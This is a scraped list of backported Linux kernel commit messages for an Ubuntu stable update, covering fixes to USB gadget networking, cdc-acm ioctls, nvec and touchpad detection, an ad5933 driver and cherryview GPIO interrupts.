BugLink: http://bugs.launchpad.net/bugs/1642968 commit fd9afd3c upstream. According to Dave Miller "the networking stack has a hard requirement that all SKBs which are transmitted must have their completion signalled in a fininte amount of time. This is because, until the SKB is freed by the driver, it holds onto socket, netfilter, and other subsystem resources." In summary, this means that using TX IRQ throttling for the networking gadgets is, at least, complex and we should avoid it for the time being. Reported-by:
Felipe Balbi <felipe.balbi@linux.intel.com> Signed-off-by:
-
Johan Hovold authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 18266403 upstream. The TIOCMIWAIT implementation would return -EINVAL if any of the three supported signals were included in the mask. Instead of returning an error in case TIOCM_CTS is included, simply drop the mask check completely, which is in accordance with how other drivers implement this ioctl. Fixes: 5a6a62bd ("cdc-acm: add TIOCMIWAIT") Signed-off-by:
Johan Hovold <johan@kernel.org> Acked-by:
Oliver Neukum <oneukum@suse.com> Signed-off-by:
-
Marc Dietrich authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 68fae2f3 upstream. This basicly reverts commit e534f3e9 (staging:nvec: Introduce the use of the managed version of kzalloc). Serio struct should never by managed because it is refcounted. Doing so will lead to a double free oops on module remove. Signed-off-by:
Marc Dietrich <marvin24@gmx.de> Fixes: e534f3e9 ("staging:nvec: Introduce the use of the managed version of kzalloc") Signed-off-by:
-
Paul Fertser authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 17c1c9ba upstream. This reverts commit 36b30d61. This is necessary to detect paz00 (ac100) touchpad properly as one speaking ETPS/2 protocol. Without it X.org's synaptics driver doesn't work as the touchpad is detected as an ImPS/2 mouse instead. Commit ec6184b1 changed the way auto-detection is performed on ports marked as pass through and made the issue apparent. A pass through port is an additional PS/2 port used to connect a slave device to a master device that is using PS/2 to communicate with the host (so slave's PS/2 communication is tunneled over master's PS/2 link). "Synaptics PS/2 TouchPad Interfacing Guide" describes such a setup (PS/2 PASS-THROUGH OPTION section). Since paz00's embedded controller is not connected to a PS/2 port itself, the PS/2 interface it exposes is not a pass-through one. Signed-off-by:
Paul Fertser <fercerpav@gmail.com> Acked-by:
-
Paul Fertser authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit d8f8a74d upstream. This command was sent behind serio's back and the answer to it was confusing atkbd probe function which lead to the elantech touchpad getting detected as a keyboard. To prevent this from happening just let every party do its part of the job. Signed-off-by:
-
Arnd Bergmann authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 34eee70a upstream. The ad5933_i2c_read function returns an error code to indicate whether it could read data or not. However ad5933_work() ignores this return code and just accesses the data unconditionally, which gets detected by gcc as a possible bug: drivers/staging/iio/impedance-analyzer/ad5933.c: In function 'ad5933_work': drivers/staging/iio/impedance-analyzer/ad5933.c:649:16: warning: 'status' may be used uninitialized in this function [-Wmaybe-uninitialized] This adds minimal error handling so we only evaluate the data if it was correctly read. Link: https://patchwork.kernel.org/patch/8110281/Signed-off-by:
Arnd Bergmann <arnd@arndb.de> Acked-by:
Lars-Peter Clausen <lars@metafoo.de> Signed-off-by:
-
Mika Westerberg authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit d2cdf5dc upstream. When the system is suspended to S3 the BIOS might re-initialize certain GPIO pins back to their original state or it may re-program interrupt mask of others. For example Acer TravelMate B116-M had BIOS bug where certain GPIO pin (MF_ISH_GPIO_5) was programmed to trigger on high level, and the pin state was high once the BIOS gave control to the OS on resume. This triggers lots of messages like: irq 117, desc: ffff88017a61e600, depth: 1, count: 0, unhandled: 0 ->handle_irq(): ffffffff8109b613, handle_bad_irq+0x0/0x1e0 ->irq_data.chip(): ffffffffa0020180, chv_pinctrl_exit+0x2d84/0x12 [pinctrl_cherryview] ->action(): (null) IRQ_NOPROBE set We reset the mask back to known state in chv_pinctrl_resume() but that is called only after device interrupts have already been enabled. Now, this particular issue was fixed by upgrading the BIOS to the latest (v1.23) but not everybody upgrades their BIOSes so we fix it up in the driver as well. Prevent the possible interrupt storm by moving suspend and resume hooks to be called at _noirq time instead. Since device interrupts are still disabled we can restore the mask back to known state before interrupt storm happens. Reported-by:
Christian Steiner <christian.steiner@outlook.de> Signed-off-by:
Mika Westerberg <mika.westerberg@linux.intel.com> Signed-off-by:
Linus Walleij <linus.walleij@linaro.org> Signed-off-by:
-
